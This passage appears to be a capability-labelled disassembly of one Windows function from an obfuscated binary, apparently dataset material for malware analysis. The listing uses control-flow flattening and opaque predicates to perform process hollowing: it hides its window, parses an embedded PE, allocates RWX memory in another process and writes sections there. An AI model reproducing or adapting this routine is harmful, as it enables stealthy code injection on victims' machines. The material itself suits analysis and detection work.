Function at 0x100058c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x120
mov eax, dword [0x10037600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10038974]
mov eax, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x122], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x121], al
mov dword [ebp - 0x128], 0xa38ca2b
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x12c], eax
sub eax, 0x8152bdc4
je 0x100070b7
jmp 0x10005933
mov eax, dword [ebp - 0x12c]
sub eax, 0x81d55367
je 0x10008137
jmp 0x10005949
mov eax, dword [ebp - 0x12c]
sub eax, 0x8261c169
je 0x10006a1f
jmp 0x1000595f
mov eax, dword [ebp - 0x12c]
sub eax, 0x83cdc593
je 0x10007576
jmp 0x10005975
mov eax, dword [ebp - 0x12c]
sub eax, 0x8ea6cc7c
je 0x10008261
jmp 0x1000598b
mov eax, dword [ebp - 0x12c]
sub eax, 0x91152bb2
je 0x10008056
jmp 0x100059a1
mov eax, dword [ebp - 0x12c]
sub eax, 0x91255930
je 0x10007d29
jmp 0x100059b7
mov eax, dword [ebp - 0x12c]
sub eax, 0x918ba06e
je 0x100079e1
jmp 0x100059cd
mov eax, dword [ebp - 0x12c]
sub eax, 0x92456f54
je 0x100074ad
jmp 0x100059e3
mov eax, dword [ebp - 0x12c]
sub eax, 0x93125f6a
je 0x10007c2a
jmp 0x100059f9
mov eax, dword [ebp - 0x12c]
sub eax, 0x956cdcf4
je 0x10006531
jmp 0x10005a0f
mov eax, dword [ebp - 0x12c]
sub eax, 0x982492d1
je 0x10006591
jmp 0x10005a25
mov eax, dword [ebp - 0x12c]
sub eax, 0x9c6037d9
je 0x10006ca2
jmp 0x10005a3b
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d2a8425
je 0x10008458
jmp 0x10005a51
mov eax, dword [ebp - 0x12c]
sub eax, 0xa0e54bbe
je 0x100081ad
jmp 0x10005a67
mov eax, dword [ebp - 0x12c]
sub eax, 0xa10f1b0b
je 0x10008005
jmp 0x10005a7d
mov eax, dword [ebp - 0x12c]
sub eax, 0xa1897580
je 0x10008216
jmp 0x10005a93
mov eax, dword [ebp - 0x12c]
sub eax, 0xa333ee9e
je 0x10006db9
jmp 0x10005aa9
mov eax, dword [ebp - 0x12c]
sub eax, 0xa34f3990
je 0x10006784
jmp 0x10005abf
mov eax, dword [ebp - 0x12c]
sub eax, 0xa3881fe8
je 0x10006dc8
jmp 0x10005ad5
mov eax, dword [ebp - 0x12c]
sub eax, 0xa3c1853e
je 0x10006b8b
jmp 0x10005aeb
mov eax, dword [ebp - 0x12c]
sub eax, 0xa4753eef
je 0x1000680a
jmp 0x10005b01
mov eax, dword [ebp - 0x12c]
sub eax, 0xa7d7337f
je 0x10008332
jmp 0x10005b17
mov eax, dword [ebp - 0x12c]
sub eax, 0xa8729100
je 0x10007464
jmp 0x10005b2d
mov eax, dword [ebp - 0x12c]
sub eax, 0xac4a75d8
je 0x10007b0a
jmp 0x10005b43
mov eax, dword [ebp - 0x12c]
sub eax, 0xb11765b1
je 0x1000673b
jmp 0x10005b59
mov eax, dword [ebp - 0x12c]
sub eax, 0xb441d306
je 0x100076f9
jmp 0x10005b6f
mov eax, dword [ebp - 0x12c]
sub eax, 0xb75ffebd
je 0x1000755c
jmp 0x10005b85
mov eax, dword [ebp - 0x12c]
sub eax, 0xbb973122
je 0x1000760a
jmp 0x10005b9b
mov eax, dword [ebp - 0x12c]
sub eax, 0xbef45bb5
je 0x10007677
jmp 0x10005bb1
mov eax, dword [ebp - 0x12c]
sub eax, 0xbf49c5af
je 0x100086bb
jmp 0x10005bc7
mov eax, dword [ebp - 0x12c]
sub eax, 0xc513627c
je 0x10008252
jmp 0x10005bdd
mov eax, dword [ebp - 0x12c]
sub eax, 0xc9c0227b
je 0x10006681
jmp 0x10005bf3
mov eax, dword [ebp - 0x12c]
sub eax, 0xcb44aef4
je 0x10007ea8
jmp 0x10005c09
mov eax, dword [ebp - 0x12c]
sub eax, 0xce3bbe8a
je 0x10007686
jmp 0x10005c1f
mov eax, dword [ebp - 0x12c]
sub eax, 0xd07f094e
je 0x10007533
jmp 0x10005c35
mov eax, dword [ebp - 0x12c]
sub eax, 0xd0f389a5
je 0x10007aec
jmp 0x10005c4b
mov eax, dword [ebp - 0x12c]
sub eax, 0xd233a349
je 0x10008320
jmp 0x10005c61
mov eax, dword [ebp - 0x12c]
sub eax, 0xd642d3d8
je 0x1000788c
jmp 0x10005c77
mov eax, dword [ebp - 0x12c]
sub eax, 0xd7ab3965
je 0x100085af
jmp 0x10005c8d
mov eax, dword [ebp - 0x12c]
sub eax, 0xd8631c06
je 0x10008576
jmp 0x10005ca3
mov eax, dword [ebp - 0x12c]
sub eax, 0xd9f0517e
je 0x10007d04
jmp 0x10005cb9
mov eax, dword [ebp - 0x12c]
sub eax, 0xdba2b52b
je 0x10007be9
jmp 0x10005ccf
mov eax, dword [ebp - 0x12c]
sub eax, 0xdd8561fb
je 0x100076a8
jmp 0x10005ce5
mov eax, dword [ebp - 0x12c]
sub eax, 0xde082a5b
je 0x1000859a
jmp 0x10005cfb
mov eax, dword [ebp - 0x12c]
sub eax, 0xde9238e3
je 0x100085ca
jmp 0x10005d11
mov eax, dword [ebp - 0x12c]
sub eax, 0xe0be1706
je 0x10007dc8
jmp 0x10005d27
mov eax, dword [ebp - 0x12c]
sub eax, 0xe27db176
je 0x10006974
jmp 0x10005d3d
mov eax, dword [ebp - 0x12c]
sub eax, 0xe69db79f
je 0x10006e11
jmp 0x10005d53
mov eax, dword [ebp - 0x12c]
sub eax, 0xe72c0ec7
je 0x10007798
jmp 0x10005d69
mov eax, dword [ebp - 0x12c]
sub eax, 0xe7775da8
je 0x10006ea6
jmp 0x10005d7f
mov eax, dword [ebp - 0x12c]
sub eax, 0xe7978fe9
je 0x100072ca
jmp 0x10005d95
mov eax, dword [ebp - 0x12c]
sub eax, 0xe8a36a58
je 0x100078d5
jmp 0x10005dab
mov eax, dword [ebp - 0x12c]
sub eax, 0xe9ad15ef
je 0x100082d7
jmp 0x10005dc1
mov eax, dword [ebp - 0x12c]
sub eax, 0xeb26fcd8
je 0x10006d03
jmp 0x10005dd7
mov eax, dword [ebp - 0x12c]
sub eax, 0xebfdd30e
je 0x10007455
jmp 0x10005ded
mov eax, dword [ebp - 0x12c]
sub eax, 0xeea12f5f
je 0x10007dae
jmp 0x10005e03
mov eax, dword [ebp - 0x12c]
sub eax, 0xf0223d01
je 0x10008405
jmp 0x10005e19
mov eax, dword [ebp - 0x12c]
sub eax, 0xf0e6480d
je 0x10006c93
jmp 0x10005e2f
mov eax, dword [ebp - 0x12c]
sub eax, 0xf34f2f23
je 0x10007200
jmp 0x10005e45
mov eax, dword [ebp - 0x12c]
sub eax, 0xf367fb2b
je 0x10008709
jmp 0x10005e5b
mov eax, dword [ebp - 0x12c]
sub eax, 0xf3ac5ae2
je 0x10006eb5
jmp 0x10005e71
mov eax, dword [ebp - 0x12c]
sub eax, 0xf4ed4ee7
je 0x10007b5b
jmp 0x10005e87
mov eax, dword [ebp - 0x12c]
sub eax, 0xf5c4a726
je 0x10008065
jmp 0x10005e9d
mov eax, dword [ebp - 0x12c]
sub eax, 0xf80653d0
je 0x100079af
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x128], 0x982492d1
jmp 0x1000873d
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010a0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010a0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1b600
call fcn.10001010
add esp, 8
mov eax, dword [ebp - 0x120]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0x8ea6cc7c
mov ecx, 0x2471f7fa
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xc0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xc4]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x128], 0xfdb998ad
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73c6c6a7
mov ecx, 0xa34f3990
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xbc]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0xb5], al
mov ecx, dword [0x10038974]
mov eax, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x73c6c6a7
mov ecx, 0xa4753eef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov dword [ebp - 0x128], 0x6a9a195e
jmp 0x1000873d
mov eax, dword [ebp - 0xb4]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xad], al
mov ecx, dword [0x10038974]
mov eax, dword [0x10038970]
mov edx, ecx
sub edx, 0xe4fb46be
sub edx, 1
add edx, 0xe4fb46be
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7566af4f
mov ecx, 0x38235818
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x128], 0x34eba9ee
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
mov edx, eax
add edx, 0x1897a197
sub edx, 1
sub edx, 0x1897a197
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6504db8d
mov ecx, 0xf847371
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov dword [ebp - 0x128], 0x9c6037d9
jmp 0x1000873d
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x9c]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov edx, dword [ebp - 0xfc]
mov eax, 0xf3ac5ae2
mov ecx, 0xeb26fcd8
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
mov edx, eax
sub edx, 0x7c8cc733
sub edx, 1
add edx, 0x7c8cc733
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x34a869f1
mov ecx, 0x438e10d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov dword [ebp - 0x128], 0xa3881fe8
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf0223d01
mov ecx, 0xe69db79f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
mov edx, eax
sub edx, 0x4846faf2
sub edx, 1
add edx, 0x4846faf2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf0223d01
mov ecx, 0xe7775da8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov dword [ebp - 0x128], 0xf3ac5ae2
jmp 0x1000873d
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x128], 0x37ffcb94
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x336f0649
mov ecx, 0x40b0ae0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0x74]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x110]
mov esi, dword [eax]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x78]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xe4]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100056b0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf4]
mov esi, dword [eax]
mov eax, dword [ebp - 0xe4]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xebfdd30e
mov ecx, 0xe7978fe9
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x128], 0x9e914fd
jmp 0x1000873d
mov dword [ebp - 0x128], 0xa8729100
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde082a5b
mov ecx, 0x92456f54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add eax, 0x5efbc22c
add eax, 1
sub eax, 0x5efbc22c
mov dword [ebp - 0x64], eax
mov ecx, dword [0x10038974]
mov eax, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xde082a5b
mov ecx, 0xd07f094e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov dword [ebp - 0x128], 0x6f860f95
jmp 0x1000873d
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x128], 0x83cdc593
jmp 0x1000873d
mov edx, dword [ebp - 0x60]
mov eax, 0xf5c4a726
mov ecx, 0x3a634cc3
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x58], eax
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
mov edx, eax
add edx, 0x9d8fde3e
sub edx, 1
sub edx, 0x9d8fde3e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7ab3965
mov ecx, 0xbef45bb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov dword [ebp - 0x128], 0xce3bbe8a
jmp 0x1000873d
mov eax, dword [ebp - 0x58]
mov esi, dword [eax]
mov edx, dword [ebp - 0x5c]
mov eax, 0xf5c4a726
mov ecx, 0xdd8561fb
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
mov edx, eax
add edx, 0x7611707a
sub edx, 1
sub edx, 0x7611707a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde9238e3
mov ecx, 0xb441d306
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov ecx, dword [0x10038974]
mov eax, dword [0x10038970]
mov edx, ecx
sub edx, 0x38ad3f63
sub edx, 1
add edx, 0x38ad3f63
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xde9238e3
mov ecx, 0xd26fd57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
mov edx, eax
sub edx, 0xe647afcb
sub edx, 1
add edx, 0xe647afcb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7245675f
mov ecx, 0x57f3eefb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x502d78fe
mov ecx, 0xe8a36a58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
add ecx, 0x5d1e5b50
add ecx, 8
sub ecx, 0x5d1e5b50
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x48], eax
mov ecx, dword [0x10038974]
mov eax, dword [0x10038970]
mov edx, ecx
sub edx, 0xccde6d79
sub edx, 1
add edx, 0xccde6d79
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x502d78fe
mov ecx, 0x7e46cba4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x128], 0x5f2eb4b2
jmp 0x1000873d
mov dl, byte [ebp - 0x3d]
mov eax, 0xcb44aef4
mov ecx, 0xac4a75d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
mov edx, eax
add edx, 0xf4c47176
sub edx, 1
sub edx, 0xf4c47176
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55455b78
mov ecx, 0xf4ed4ee7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x10038974]
mov eax, dword [0x10038970]
mov edx, ecx
add edx, 0xbb1c13cc
sub edx, 1
sub edx, 0xbb1c13cc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x55455b78
mov ecx, 0xdba2b52b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov dword [ebp - 0x128], 0x3c4934a1
jmp 0x1000873d
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov eax, dword [eax]
sub ecx, 0xae6f341
add ecx, eax
add ecx, 0xae6f341
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0x53c94915
or edx, esi
or eax, 0x53c94915
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x128], 0x513cb826
jmp 0x1000873d
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x128], 0x91255930
jmp 0x1000873d
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x394fd8c6
add ecx, eax
add ecx, 0x394fd8c6
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x110]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x128], 0xfb853b22
jmp 0x1000873d
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x128], 0xe0be1706
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41ff8bd0
mov ecx, 0x762bfbc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x128], 0x6580885e
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
mov edx, eax
add edx, 0x55cec8d7
sub edx, 1
sub edx, 0x55cec8d7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a6b2e12
mov ecx, 0x91152bb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov dword [ebp - 0x128], 0xf5c4a726
jmp 0x1000873d
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
add ecx, 0xfa0bfc3c
add ecx, 8
sub ecx, 0xfa0bfc3c
mov eax, dword [ebp - 0x110]
mov edx, dword [eax]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x128], 0x1439ac68
jmp 0x1000873d
mov ecx, dword [0x10038974]
mov eax, dword [0x10038970]
